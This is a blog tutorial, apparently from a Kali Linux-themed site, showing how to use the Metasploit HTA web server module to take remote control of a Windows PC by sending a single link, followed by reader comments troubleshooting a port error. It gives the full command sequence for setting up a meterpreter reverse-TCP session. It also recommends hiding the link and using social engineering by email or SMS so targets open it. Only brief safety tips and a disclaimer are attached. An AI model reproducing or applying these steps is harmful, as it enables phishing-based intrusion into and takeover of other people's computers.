Control other PC by Sending a Single Link

Day by day cyber attacks are increasing. Attackers are using new methods to gain controls on our systems. Now attackers can attack any Windows system by just sending a link. What to do? We need to learn how they do it? Then we can safe us from cyber attacks.

Control other PC by Sending a Single Link

In today's article we are going to learning about a technique and we also learn how to be safe.

How to do it?

We are using our Kali Linux system for attacking on our Windows system. First of all we open our terminal window on Kali Linux system and open Metasploit console by using following command:

msfconsole

Then the Metasploit Framework will open in front of us as we can see in the following screenshot:

Metasploit Framework msfconsole

Here we can use following command to use "HTA Web Server":

use exploit/windows/misc/hta_server

After applying this command this module will be loaded. 

use exploit/windows/misc/hta_server

This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed. Let's use it.

Here we need to set lhost, as we know our listening host is our Kali Linux machine. So we use the IP address of our attacking system here (ip addr or ifconfig command to find it for specific interface). We use our wlan0 interface IP address by using following command:

set lhost 172.20.10.4

Now we set the server host on the same system using same IP address by using following command:

set srvhost 172.20.10.4

Our default payload is selected (windows/meterpreter/reverse_tcp), so we are keep it as default and set our port (any unused port), for example port 8222.

set lport 8222

The following screenshot shows the above process.

setting up metasploit hta server

Now we just need to exploit it to start our HTA server.

exploit

Now our server is started, as we can see in the following screenshot:

hta server is running

We can see how easy it is to host a malicious server on our system by just using some commands. Now we can send this link to any Windows system on our network. We can send this link various way. The best way is using port forwarding tunnels then, hide the link and mail/sms the target with some social engineering technique to convince target to open the link. We are directly opening this URL directly on our Windows computer.

HTA file run on windows PC
Whenever they click on the link our HTA file will be downloaded on their computer. If they click on "RUN", or save it on files and then run it from there we got the meterpreter session.

metasploit seassion started

After starting the meterpreter session we can do whatever with the Windows computer. For more we can run help command.

How to be Safe?

  1. First of all we should not open any links we got from email or sms or social media messengers from strangers. Not even from known persons because attackers can fake anyone's mail id.
  2. If anytime we must need to open that kind of link then we should use virtual environments. Then if anything happens it will just effect the Virtual Machine, not our main personal system.
  3. Learn about the new techniques, "Learning the things is the best option to be safe". Well this quote works for every field even on our life.

This is how attacks can attack us by simply sending a link. No installation required for this. We also described how we can be safe from this kind of attacks.

Warning:- Attacking other's device/network without permission is illegal. This article is written for educational and awareness purpose only. Learn the things and stay safe, learning things are not illegal but using the knowledge against law is illegal. We have demonstrate things on the devices/networks that we own.

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Kali Linux

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  • Unknown photo
    UnknownJune 8, 2021 at 12:26 PM

    xploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (172.20.10.4:8080).

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    • Kali Linux photo
      Kali LinuxJune 10, 2021 at 12:55 PM

      Some other service already running on your 8080 port. Please try another port like 4444 or 8888

      Delete Comment
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